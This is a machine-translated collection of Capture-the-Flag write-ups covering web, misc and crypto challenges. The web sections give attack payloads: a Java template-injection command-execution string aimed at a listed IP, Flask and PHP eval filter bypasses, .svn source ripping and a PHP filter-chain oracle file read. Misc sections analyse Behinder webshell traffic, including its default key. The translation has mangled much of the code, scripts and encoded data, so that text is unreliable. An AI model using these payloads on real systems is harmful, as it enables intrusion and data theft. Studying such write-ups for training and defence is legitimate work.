Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863113755

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

web

input_data

The Tool https://github.com/kost/dvcs-ripperを使用します

./rip-svn.pl -u 3http://101.200.58.4:10005/.svn

.svnディレクトリをダウンロードします

次に、構造を確認し、いくつかのファイルを見つけます

1049983-20241004174649885-874008864.jpg

cdディレクトリを入力してから、catファイル名フラグ{5674938f-803d-4c41-8f84-a77f5164bb4f}を表示します

1049983-20241004174650809-663276795.png

フラグ:旗{5674938F-803D-4C41-8F84-A77F5164BB4F}

admin

オーバーライド許可を通じて管理者への最初のアクセス、アクセスパスは次のとおりです

/;/admin

1049983-20241004174651495-30944686.jpg

次に、BP辞書の列挙はパラメーターを渡すために使用され、パスはSTIをテストするために使用されます。テスト後、Javaビュー操作STIを使用する必要があることがわかりました。

次のようにペイロード

http://101.200.58.4:3333/;/admin?path=__ $%7bnew%20java.util.scanner(t(java.lang.runtime).getruntime()

成功したコマンド実行:

1049983-20241004174652133-174386126.jpg

フラグ:flag {5d28c6ce-fede-498a-9053-6fe53f54f7d3}

フラスコ

質問のソースコードは次のとおりです

フラスコのインポートフラスコから、リクエスト、応答

Reをインポートします

app=flask(__name__)

@app.route( '/')

def index():

evalme=request.args.get( 'evalme')

if((evalmeではない)またはre.search(r '[a-zd-z \\。 /*$#@!+^]'、evalme)):

「ハッカー?」を返します

a=eval(evalme)

印刷(1)

f:として開いている(a、 'rb')

返信応答(f.read())

__name__=='__main __' :の場合

app.run(port=8081、debug=true)

文字は無効になっているため、ABCはフォーマットされた文字列を構築することもできますが、実際には、ABCがない場合でも、Unicode文字でバイパスすることもできます。

コマンドは次のとおりです。フォーマット文字列コンストラクトファイル名/フラグ

/?evalme=[a:=%22%c%c%c%c%c%c%c%c%22%(47,102,108,97,103)] [-1]

1049983-20241004174652875-1561261817.jpg

非常に多くのフラグ

次のレイヤーファイルf1aaj.phpはソースコードにあります

Cookie/flll4g.phpのタイトルの次のレイヤーでファイルを見つける

1049983-20241004174653545-1530320814.jpgFLLLL4G.PHPアクセスソースコードは次のとおりです

?php

if(isset($ _ get ['x'])){

$ temp=$ _get ['x'];

is_numeric($ temp)? die( 'no numeric'): null;

if($ temp 9999){

echo 'pupil./br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'xはどこですか?');

}

if(isset($ _ get ['y'])){

$ md5=$ _get ['y'];

if($ md5==md5($ md5)){

Echo 'ジュニアスクールの生徒//br';

} それ以外{

die( 'no!no!no!');

}

}

それ以外{

die( 'yはy?');

}

if(isset($ _ get ['z'])){

$ content=$ _get ['z'];

if(strlen($ content)=60){

die( '長い!');

}

$ blackList=[''、 '\' ''、 '' '、' `''、 '\ ['、 '\]、' \ {'、'} '、' \ t '、' \ r '、' \ n '];

foreach($ blacklist as $ blackitem){

if(preg_match( '/'。$ blackitem。 '/m'、$ content)){

die( 'no!no!no!');

}

}

$ security=['abs'、 'base_convert'、 'cos'、 'dex'、 'exp'、 'f1ag'、 'getrandmax'、 'hexdec'、 'is_nan'、 'log'、 'max'、 'octdec'、 'pi'、 'sin'、 'tan'];

preg_match_all( '/[a-za-z_ \ x7f- \ xff] [a-za-z_0-9 \ x7f- \ xff]*/'、$ content、$ used_funcs);

foreach($ used_funcs [0] as $ func){

if(!in_array($ func、$ security)){

die( 'no!no!no!');

}

}

eval( 'echo'。$ content。 ';');

if(isset($ f1ag)){

if($ f1ag=='flag'){

Echo '高校生/BR';

echo 'here_is_flag !';

}

}

それ以外{

echo 'no!no!no!';

}

}

それ以外{

die( 'zはどこですか?');

}

最初の方法

最初のステップは、is_numericをバイパスして配列を使用することです

ステップ2:MD5はインターネットをバイパスし、たくさん検索します

X []=10000Y=0E215962017Z=log($ f1ag=0)

3番目のステップは0でバイパスでき、ログ関数はx []=10000y=0E215962017z=log($ f1ag=0)になります。

1049983-20241004174654218-291559251.jpg

または、cos関数x []=10000y=0E215962017z=cos($ f1ag=0)を使用します

1049983-20241004174700986-1030522670.jpg

その他:

情報セキュリティ競争の通知

開いた後、色を変更すると、旗が表示されます

1049983-20241004174701674-30547865.jpg

複数のエンコーディング

添付ファイル:

エンコーディング 1:+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ ++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ +++++++++++++++++++++++++++++++++++++ - ] ++++++。

2:([](! []+[])[!+[]+!+[]]+([] []]+[])[+!+[]]+(! []+[])[+[]]+(! []+[])[+!+[]+([![]]+[]) +(![]+[])[!+[]+!+[]+!+[]+]+]+[!+[]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+ ]+!+[]+!+!+ (! []+[])[!+[]+!+[]+!+[]+[]+[!+]+!+[]+!+[]+[]+[]+[]+[])[!+[]+!+[]+!+[]+([](! []+[])[!+[]+[]+[]+[]+ ([] [] []]+[])[+!+[]+(! []+[])[+!+[]]+([![]]]+(! []+[])[+!+[]]+([![! +[] [])[+!+[]+[]+[]+(![]+[]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]+!+[]+[]+]+]+[]+]+[]+[]+[]+[]+[]+

コード3:OOK。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook。 ook? ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!

ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ook? ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。ああ! ook?ああ!ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook? ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ!

ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook?

ook。 ook?ああ! ook。 ook?ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!

ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ!ああ! ook。 ook。 ook。 ook。

ああ! ook。ああ! ook。ああ!ああ!ああ! ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ!ああ!ああ!ああ!ああ!ああ!

ああ! ook。 ook。 ook。 ook。ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。ああ! ook?ああ!ああ! ook。 ook?

ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook? ook。 ook?ああ! ook。 ook? ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。 ook。

ook。 ook。ああ! ook。 ook? ook。

最初の段落jsfuck復号化:flag {ab71cda1

1049983-20241004174702278-1588943883.png

2つのセグメントすべてデコード:B495E13B3F21

1049983-20241004174702915-638662998.png

3番目の段落ook復号化:F6FD50221978}

1049983-20241004174703724-567341788.jpg

フラグ{AB71CDA1B495E13B3F21F6FD50221978}

bluetooth

zipを見つけてKeキーを持っているグローバル検索フラグ

1049983-20241004174704552-93359001.jpg明らかな圧縮パッケージとflag.txtドキュメントが見つかりました

1049983-20241004174705291-1547728920.jpgキーキーもあります

1049983-20241004174705931-1082659547.jpg圧縮パッケージをエクスポートします

1049983-20241004174706446-1289494769.jpg

圧縮パッケージをエクスポートします

ここの誰かがこれらの2つのファイルをエクスポートする方法を知りません。簡単に話しましょう

最初のタイプ

トラフィックパッケージファイルを変更して、zipを減圧して分離して抽出するなどの圧縮パッケージ形式に変更します

2番目のタイプ

関連するコマンドでトラフィックパッケージファイルを直接分離します

3番目のタイプ

トラフィックパッケージを開き、キーワードを使用して元のデータを見つけます。 16進ファイルをコピーしてインポートします。圧縮パッケージを取得するには、テキストの開始と終了を変更する必要があります。

知らせ

ここの多くの人々は圧縮パッケージを入手し、ファイルが破損しており、開くことができないことを発見します。ここでは、減圧ソフトウェアを変更できます。

ciphertextとkey :を取得します

flag.txt:

10004583275926070044326083910251708233320797793557792087030978163051881401914132269450797

キー:52162946952118202938062470298887026154798297270637676463374801674742298813146203404040756931515222

これが暗号文とキーです

十進数六量体スクリプト

def hex(number):

hex_str=hex(number)[2:]

Len(hex_str)==1:の場合

hex_str='0' + hex_str

hex_strを返します

__name__=='__main __' :の場合

number=int(input( 'input3360'))

hex_representation=hex(number)

print(f '{number}' 16進表現は: {hex_representation} ')です。

秘密のテキスト

4E94DCDB6DE87E65D263419EC45AEC93E8A2E1D386B31FB804E0F02366DF44DBE86A8A8A7C462D

28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550

xor
を実行します

#暗号化された暗号文と16進文字列を定義します

txt='4e94dcdb6de87e65d263419ec45aec93e8a2e1d386b31fb804e0f02366df444dbe86a8a8a7c462d'

Key='28F8BDBC16DE4850E05579ACF33C8AA08AC3D9E6E3822B8C3081C04700EB25B88A08EB457550' '

#ヘキサデシマル文字列をバイトオブジェクトに変換します

ciphertext_bytes=bytes.fromhex(txt)

key_bytes=bytes.fromhex(key)

#decryptionにbyte-byte xorを使用します

#注:ここでは、キーと暗号文は同じ長さであると想定されています。そうしないと、zipはより短い長さに切り捨てられます

decrypted_bytes=bytes([c ^ k for c、k in zip(ciphertext_bytes、key_bytes))))

#復号化されたバイトオブジェクトを文字列にデコードして、デコードできないバイトを無視してみてください

#ここでは、復号化されたバイトのほとんどを有効なUTF-8文字にデコードできると想定されています

print(decrypted_bytes.decode(errors='ig

0x00はじめに

この記事は、「2024年のカレッジネットワークセキュリティ管理操作およびメンテナンス競争」の詳細なソリューションです。これは、主にWeb、PWN、RE、その他、アルゴリズムなどの多方向質問の問題解決プロセスをターゲットにしています。

0x01 Misc

サインイン

GIFを与え、オンラインで直接フレーム化します

y2nvtbjrloa1033.png

synt {fvtava-dhvm-jryy-qbar}を取得し、Caesarを見て、rot13で直接デコードします

4tt1gsjwzrp1034.png

flag {signin-quiz-well-done}

Phing Emailの認識

電子メールソフトウェアを使用して表示するか、直接表示できるEML電子メールファイルを提供しました(面倒かもしれません)

11ets415aql1035.png

フラグ1

0eufmayx2tc1036.png

直接base64フラグを取得するためのデコード{welcometo}

gr0klifywn21037.png

フラグ2

次のコンテンツは、base64によってエンコードされた情報です

xiofn4czvg31038.png

3tjnm3beara1039.png

デコード後、それをチェックしてフラグを取得します{phishhunting}

44m2eu0kih41040.png

フラグ3

EMMLファイルの残りのコンテンツにはフラグがないため、送信者のドメイン名からのみ開始できます。

cretkgyh0pp1041.png

DNS分析を確認してください、ここに360脅威インテリジェンスセンターがあります

https://ti.360.net/domain/foobar-edu-cn.com

c4tg0xf1g1t1042.png

(このインテリジェンスセンターは、競争プロセスの分析履歴を記録するため、サブドメイン情報を見るだけでフラグを取得できます)

sbxs1sq3exn1043.png

クエリプロセスはまだ正常です

サードパーティのサービスプラットフォームに加えて、ドメイン名のTXTレコードを表示するためにWindowsに付属するNSLookupを使用することもできます。

nslookup -qt=txt foobar-edu-cn.com

lxsbr25jiiw1044.png

プロンプトによると、ドメイン名の下にサブドメイン名の分析レコードを見つけ、3つの方法で完全なフラグをスプライスする必要があります

ドメイン名は海外で適用されるため、多くの国内のウェブサイトを解析できないため、外国のウェブサイトを使用してゆっくりと試すことができます

https://www.virustotal.com/gui/domain/spf.foobar-edu-cn.com/detailsspf

psi0ggt43af1045.png

https://dnsspy.io/scan/foobar-edu-cn.comdefault._domainkey

4dzy21ta4xj1046.png

https://www.misk.com/tools/#dns/_dmarc.foobar-edu-cn.com_dmarc

gzvchzmjxhz1047.png

3つの部分を個別に取得し、フラグを取得するためにそれらをスプライシングします

flag_part1={n0wy0u

flag_part2=_kn0wh0wt0_

flag_part3=analys1sdns}

flag {n0wy0u_kn0wh0wt0_analys1sdns}

実際、これらの3つのサブドメインは、それぞれ対応するサービスを提供するSPF、DKIM、DMARCなど、電子メールサーバーに対応するいくつかのプロトコルです。

https://help.aliyun.com/document_detail/2685946.html

opd3wu51dne1048.png

easyshell

PCAPトラフィックパッケージを提供すると、horseが送信された後に実行する必要があるshell.phpのリクエストを郵送に直接確認できます。

qmc1gi53gdj1049.png

HTTPストリームをフィルタリングし、上記の推測を確認してください

aa4hgur2ioj1050.png

HTTPストリームを追跡すると、投稿のコンテンツが暗号化されます。 Ice Scorpion 4.0の質問と交通特性を組み合わせて、これはIce Scorpion Horseであると推測されます。

アイスサソリフロー特性:

Accept: Application/JSON、Text/JavaScript、 */*; Q=0.01Content-Type: Application/x-www-form-urlencodedConnection: Keep-Alive…ec4rxbj3zhb1051.png

Ice Scorpion 4.0はAES暗号化を使用し、デフォルトキーはE45E329FEB5D925Bです。つまり、MD5の最初の16ビット( 'Rebeyond')です。

Ice Scorpion 3.0、デフォルトのパスワードは次のとおりです。E45E329FEB5D925B、あなたはそれをチェックすることができます:backing_decrypt/decropt.Php

最後の応答パッケージからデコードしてみてください

ここでは、CyberのAES-CBCモードIVが空になることはできないが、オフセットする必要はないので、0に入力する必要があることに注意する必要があります。

4sevmt3zewb1052.png

5letdfyj3ef1053.png

コンテンツのあるものを見つけます

odbwrq5tn3u1054.png

giskvw4zp4m1055.png

toqbwrxjwub1056.png

リクエストパッケージがリクエストしているものをご覧ください。ここで、デコードされた結果を置くと、Secret2.txtファイルを読んでいることがわかります

jgggcbpqdqt1057.png

Secret2.txt

こんにちは、しかしあなたが探しているものは私ではありません。

次に、以前の応答パッケージでキーコンテンツを見つけます

ub5qw2azl321058.png

bwq02juf3dq1059.png

ZIP圧縮パッケージで、直接保存します

5y5aokfl4pr1060.png

zipを確認してください。Secret1.txtとSecret2.txtがあり、パスワードが必要です。

11jpq51yxgt1061.png

既知のsecret2.txtのコンテンツを組み合わせて、既知のプレーンテキストを介して攻撃することができます

最初にsecret2.txtを書き、それをzipとして保存して、元の暗号化アルゴリズムと同じであることを確認してください

l0v1ijra2px1062.png

プレーンテキスト攻撃を開始します。ここに小さなトリックがあります。取得するパスワードが表示されたら停止します。 [ポップアップ]ウィンドウをクリックして、解凍します。

oqvi43yhokq1063.png

Get Flag {70854278-EA0C-462E-BC18-468C7A04A505}

jiykxq0wmbl1064.png

secretdb

タイトルはSQLite DBファイルを提供し、遅すぎるだけで、あなたのためのフラグは開かれていません。

1jmy5om2qhx1065.png

削除された情報を復元する必要があります。直接復元されるツールはありません。復元できないか、文字化けしています。手動で抽出してみてください。

参照:https://www.cnblogs.com/jiangcsu/p/6569045.html

焦点は、ユニット内の構造にあります

fkspmx0belk1066.png

010editorはsecret.dbを開き、それをフラグに見つけて表示します。赤いボックスの下の部分は、以前に削除されたデータです。

jprvvqa1tyl1067.png

上記のデータベースフラグテーブルの構造から、列がID、ソート、メッセージであることがわかります。ソートは、ソートに使用されるインデックスです。メッセージは表示されている文字を保存するため、上記の図の可視文字、つまりメッセージ、および以前の数字がソートであることを単純に観察できます。たとえば、可視文字9の16進数は39であり、以前の数字は0Eであるため、インデックス0Eの値は9です。

sab01qcmfnv1068.png

したがって、残りの値を抽出します

0x17-

0x0 f

0xe 9

0x1b 7

0x10 3

0xa b

0x19 2

0x14 b

0xf 2

0x12-

0x23 4

0x16 6

0x1f a

0x25 8

0x2a

0x1e

0x5 f

0x3 g

0x11 c

0xc 0

0x4 {

0x22a

0x21 b

0x7 2

0x1d f

0x26 f

0x1c-

0x9 1

0x27 0

0xd-

0xb

0x8 9

0x1 l

0x13 4

0x29}

0x15 a

0x28 b

0x6 6

0x1a d

0x24 e

0x20 b

スクリプトを書き、それをソートし、フラグを出力します

f:としてopen( '1.txt'、 'r')

data=f.readlines()

out=['' for iの範囲(43)]

data:のiの場合

index、val=i.replace( '\ n'、 '').split( '')

index=int(index、16)

out [index]=val

flag=''

インデックス=0

out:のiの場合

print(hex(index)、i)

インデックス +=1

フラグ +=i

印刷(フラグ)

#flag {f6291bf0-923c-4ba6- 2d7-ffabba4e8f0b}

1つが欠けていて、それを爆破して旗を取得します{f6291bf0-923c-4ba6-82d7-ffabba4e8f0b}

ゲートウェイ

ゲートウェイソースコードを与え、index.htmlには製品名HS8145Vがあります

ydfgyvxszkv1069.png

クエリパスワード、cgi-bin/baseinfoset.jsonに一連のパスワードがあります

1jwtitpqyul1070.png

10611210110712710110449575653565456495151105561031064956505610310256521011041041021055310153102129

CGI-BIN/BASEINFOSET.JSONを検索します

https://github.com/iheshime/chinatelecom-esurfing-gateway-hg260-admin-password-algorithm

ゲートウェイ管理者の一般的な暗号化アルゴリズムであり、スクリプトがわずかに変更されたことがわかりました。

exp.py:

def passwd_decode(code) - str:

passwd_list=map(int、code.split( ''))

結果=[]

passwd_list:のiの場合

97=i=100または65=i=68:の場合

I +=22

Elif I 57:

i - =4

result.append(chr(i))

#print(i、chr(i))

return( '' .join(result))

passwd=passwd_decode( '10611210110712710110449575653565456495151105561031064956505610310256521011041021055310153102129')

印刷(passwd)

#flag {AD1985868133E8CF1828CB84ADBE5A5B}またはcode='106112101107127101104957565356545649515110556103103106495650561031025652101101021055310153102129' [:-1] 'baseinfoset_telecompassword':'1147355110693753113'list=map(int、code.split(' '))result=[] for for i in list: i- 57: i-=4 result.append(ch)プリント( '' .join(result))#flag {ad1985868133e8cf1828cb84adbe5a5b}

zip

#include arpa/inet.h

#include sys/wait.h

#include stdbool.h

#include stdlib.h

#include string.h

#include unistd.h

#include stdio.h

#include pty.h

Char Token [1024]、buf [1024];

void load(){

file *f=fopen( 'token.txt'、 'r');

fgets(token、sizeof(token)、f);

トークン[64]=0; //たぶん64バイトで十分です

fclose(f);

}

int cmmpstr(char const *a、char const *b){

MEMCMPを返します(a、b、strlen(a));

}

void zip(char *password){

intマスター、pid;

pid=forkpty(master、null、null、null);

if(pid==0){

char* argv []={'7z'、 'a'、 'flag.zip'、 'tmp/flag.txt'、 '-mem=aes256'、 '-p'、null};

execve( '/usr/bin/7z'、argv、null);

} それ以外{

CHARバッファー[4097];

while(true){

ssize_t n=read(master、buffer、4096);

if(n 0)break;

ffflush(stdout);

書き込み(1、バッファ、n);

バッファー[n]=0;

crypto

質問ラーンsm

のサイン

https://www.json.cn/encrypt/sm3 在这里插入图片描述質問には小文字が必要なので、在这里插入图片描述またはスクリプト:ハスリブのインポート

メッセージ='heidun2024'

hash_object=hashlib.new( 'sm3')hash_object.update(message.encode( 'utf-8'))hash_value=hash_object.hexdigest()

印刷(hash_value)

ソースコードとデータを保護する必要があります

PHPを使用してPHPを復号化するオンライン復号化ツール

1049983-20241008091545084-1544516962.jpg

PHPソースコードを取得します

?phpfunction my_encode($ str、$ key){$ re=''; $ len=strlen($ str); for($ i=0; $ i $ len; $ i ++){$ c=substr($ str、$ i、1); $ k=substr($ key、($ i%strlen($ key))、1); $ num=ord($ c)+ord($ k); if($ num255)$ num-=256; $ re。=chr($ num); } return $ re;} function my_decode($ str、$ key){return 'something' ' file_put_contents( 'data_encoded.txt'、$ mi); echo 'data_encoded.txt';}に保存されました

?phpfunction my_encode($ str、$ key){$ re=''; $ len=strlen($ str); for($ i=0; $ i $ len; $ i ++){$ c=substr($ str、$ i、1); $ k=substr($ key、($ i%strlen($ key))、1); $ num=ord($ c)+ord($ k); if($ num255)$ num-=256; $ re。=chr($ num); } return $ re;} function my_decode($ str、$ key){return 'something' ' file_put_contents( 'data_encoded.txt'、$ mi); echo 'data_encoded.txt';} ? phpfunction my_encode($ str、$ key){$ re=''; $ len=strlen($ str); for($ i=0; $ i $ len; $ i ++){$ c=substr($ str、$ i、1); $ k=substr($ key、($ i%strlen($ key))、1); $ num=ord($ c)+ord($ k); if($ num255)$ num-=256; $ re。=chr($ num); } return $ re;} function my_decode($ str、$ key){return 'something' ' file_put_contents( 'data_encoded.txt'、$ mi); echo 'data_encoded.txt';}に保存されましたか?

私は自分の部門で決定を下します

質問はデータを提供します

ergdgjboglfpgcbpbofmgafhfngpfoflfpfkgjgcccndcfqfpgcgofofpdadadagrプロンプトはカスタムバイナリです。

1049983-20241008091545733-1752718154.jpg

それは大まかにaからrのアルファベット順の順序であり、1つは行方不明です。したがって、実際には11桁で、aからrは0-9 \ a-hに対応していると推測されています。ここでは使用されていません。

最後に、テスト後、各文字の2桁の電子桁電子桁の電子桁が個別にコード化され、解決策がフラグで取得されます。

crypto.util.Number Import *からOpen( 'My Centigrade I'm the Master.txt')as file3: dat=file.readline()print()print(dat.encode()。hex())print(dat)print(len(dat))co=0 print(i、end='')co+=1print()print(co)chls='abcdefghijklmnopqr'myo=' 0123456789abcdefgh'ct=dict(zip(chls、myo))print print(ct)decdat='' .join( 'for i in dat for i in dat) 18の範囲(0、len(decdat)、2): tmp=decdat [i: i +2] res=int(tmp、jinzhi)flag +=chr(res)print(f '{tmp}、{res}、{chr(res)} jinzhi)print(flag2)print(long_to_bytes(flag2))s

1049983-20241008091546391-954442558.jpg

フラグ{heidun18jinzhi666}

ソースコードとデータを保護する必要があります

質問説明:困難なPHP、困難なフラグ。

添付ファイルのPHPファイルは暗号化されており、ひび割れする必要があります。 http://www.zhaoyuanma.com/zym.htmlなどのオンラインクラッキングプラットフォームを使用するか、独自のPHP環境を構築し、PHPビースト拡張モジュールをインストールし、PHPソースコードをデバッグモードで復元できます。 (モジュールはデフォルトキーで使用できます)ソースコードは暗号化関数を書き込みましたが、復号化関数は書かれていません。

1049983-20241008091547075-918034358.jpg

Plantextフラグを取得するには、TXTファイルを復号化するには、復号化関数を自分で記述する必要があります。復号化コードを参照してください。

1049983-20241008091547925-1102002824.jpg

Misc

ロゴ

LSB Steganographyが調べた、ZSTEGは直接在这里插入图片描述 Stegsolveを使用しても大丈夫です、B0チャンネル在这里插入图片描述サンプルを変更しましたが、私の質問が変更されたかどうかはわかりません。これを見ると、base64テーブルの交換を直接考えることができます在这里插入图片描述

エンコードテーブルが正しくないことがわかりました。これが不完全なテーブルの理由である可能性があります。 XYZから始まるので、XLSであることがわかったときにAbcdefghijklmnopqrstuvw 在这里插入图片描述

Officeを学ぶ

を追加しました。私はそれが非表示になる可能性があることがわかりました。在这里插入图片描述はフラグの列を見て、マクロ暗号化を促しました。私のWPSはマクロ操作を実行できないため、Windowsのオフィスに変更して、ビューでマクロを見つけました。在这里插入图片描述ただし、フラグの文字順はフィルター機能をソートせず、フィルターコンピューターの結果は下降しています。在这里插入图片描述抽出旗文字image-20240622123941465

私はQRコードではありません

在这里插入图片描述はQRコードのように見えますが、それでも00000001111111111111111111111111111111111111111年になります。ツールを購入したい場合は、Penguin 97766819 1049983-20241008091601552-1840568348.png 在这里插入图片描述 在这里插入图片描述 QRコード在这里插入图片描述を取得した後、それを特定した後、パスワードを取得しました。私は長い間それをやっています。ファイル名のキーとオフセットだと思います。また、ファイル名在这里插入图片描述 :0101010imgのキーを作成するための古いルーチンでもあります。写真の最後を確認し、文字列を見つけますxyzabcdefghijklmnopqrstuvwxyz0123456789+/w9i4woeejay7un/hv8u/wt870tq2j6xjkel=完全なbase64テーブルにスプレインし、デコードされたように脱化しますflagxyzabcdefghijklmnopqrstuvwxyz0123456789+/abcdefghijklmnopqrstuvw 1049983-20241008091608756-359250761.jpg

1049983-20241008091609506-357426260.jpg

SMTPフローの追跡

1049983-20241008091610589-2126389979.jpg

1049983-20241008091611517-615518589.jpg

base64電子メール本体をデコードしてテキスト情報を取得し、料理人をHTML出力に保存します。

1049983-20241008091612221-1030756767.jpg

添付ファイルをダウンロードして、暗号化されたDocxドキュメントを見つけます。パスワードは質問者のQQ番号です。

1049983-20241008091612843-236564809.jpg

このページは、WUに比較するように促し、彼がQQ番号217778のコミュニケーショングループの所有者であることを発見しました。

復号化は最終結果になります。

1049983-20241008091613540-1190630996.jpg

フラグ{baodaheidunchutiren}

私は私の心を変えました、そして私は私を知りませんでした

この質問では、go's github.com/tjfoc/gmsm/x509ライブラリを使用して、フラグを暗号化して出力します。公開キーと秘密鍵はすべてソースコードにあります。

1049983-20241008091614269-2079140518.jpg

したがって、復号化はライブラリで復号化のために直接使用されます。その中で、ReadPrivateKeyFrompem関数は、ソースコードで指定された秘密鍵が暗号化されていないため、秘密キーパスワードとして2番目のパラメーターPWDを渡す必要があるため、nilに渡すだけで十分です。

パッケージmainimport( 'crypto/rand' _ 'embed' 'github.com/tjfoc/gmsm/x509')type encryptcontroller struct {} func encrypt(plaintext [] byte)[] byte {publickeyfrompem、err :=x509.ReadPublicFuffromec(PUB) ciphertext、err :=publickeyfrompem.encryptasn1(plantext、rand.reader)if err!=nil {panic(err)} return ciphertext} func decrypt(plaintext [] byte)[] byte {privatekeyfrompem、err 3360=x509.readpribatekeykeyfrompem panic(err)} ciphertext、err :=privatekeyfrompem.decryptasn1(plaintext)if err!=nil {panic(err)} return ciphertext} var pub=[] byte( `-----開始public公開key ----- mfkwewyhkozizj0caqyikoecz1ubgi0dqgaie3xqu+awsgmeqnsvflwusdnjxpkjcsid+xllucj3ukfgmlii/lz2fs3gje4o6pgxzewiizz4eb4b4bbrd1xx1xxkrleq===upubl key ---- `)var pri=[] byte(` -----プライベートを開始しますkey --- migtageambmgbyqgsm49agegccqbhm9vayitbhkwdwibaqgglnntszvhlqswzukwz2cwsfscni8lqm0sssss0kvh8doxg+gcgyikoec Z1UBGI2HRANCAATFGQ74DBKCZ5CEXV+XBRIOEPE+SMJKIP7GWVQINDSR8AYSGJ8TNYVLEAL7IJO8ZDKRAIHNPH5VHUT3XGVESUV5 ---- END秘密キー---- `)func main(){cs :=[] byte {48、125、2、33、0、238、212、154、134、255、91、109、210、231、242、184、9、103、26、30、241、93、242、68、119、148、21、148、218、218、218、218、241、175、148、148、148、148、148、 3、152、63、85、82、2、32、2、156、154、131、146、194、242、200、19、109、209、151、90、252、165、49、247、141、208、219、117、226、91、113、113、225、225、33、162、162、162、87、49、49、49、49、49、49、49、68 16、18、177、119、110、74、6、147、235、85、0、61、4、43、107、207、249、37、195、141、141、23、244、159、235、159、169、243、160、37、4、4、20、179、67、236、236、121、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、146、13 197、214、34、63、138、237、247、166、117、246、210} flag :=decrypt(cs)res :=string(flag)println(res)}フラグヘッダーを追加して実際のフラグを取得します。

フラグ{this_is_a_p

web

ezphp

タイトル説明:衛星通信技術に焦点を当てた研究チームは、データ送信の効率とセキュリティを改善するためのコミュニケーションシステムを改善するために取り組んでいます。チームは、通信システムの開発を改善するためにPHP 8.3.2を使用することにしました。

テストポイント:PHPフィルターチェーンオラクル

PHPフィルターチェーン—— Oracleベースのファイルリーディング攻撃

参照:https://xz.aliyun.com/t/12939?time__1311=mqmhqix%2bxfod7dloagkwepsazhg%3d4d#toc-16

質問のソースコードは次のとおりです

?php

highlight_file(__ file__);

//flag.php

if(isset($ _ post ['f'])){

echo hash_file( 'md5'、$ _post ['f']);

}

image-20240721022130265

ここで入手可能なプロジェクト:https://github.com/synacktiv/php_filter_chains_oracle_exploit/

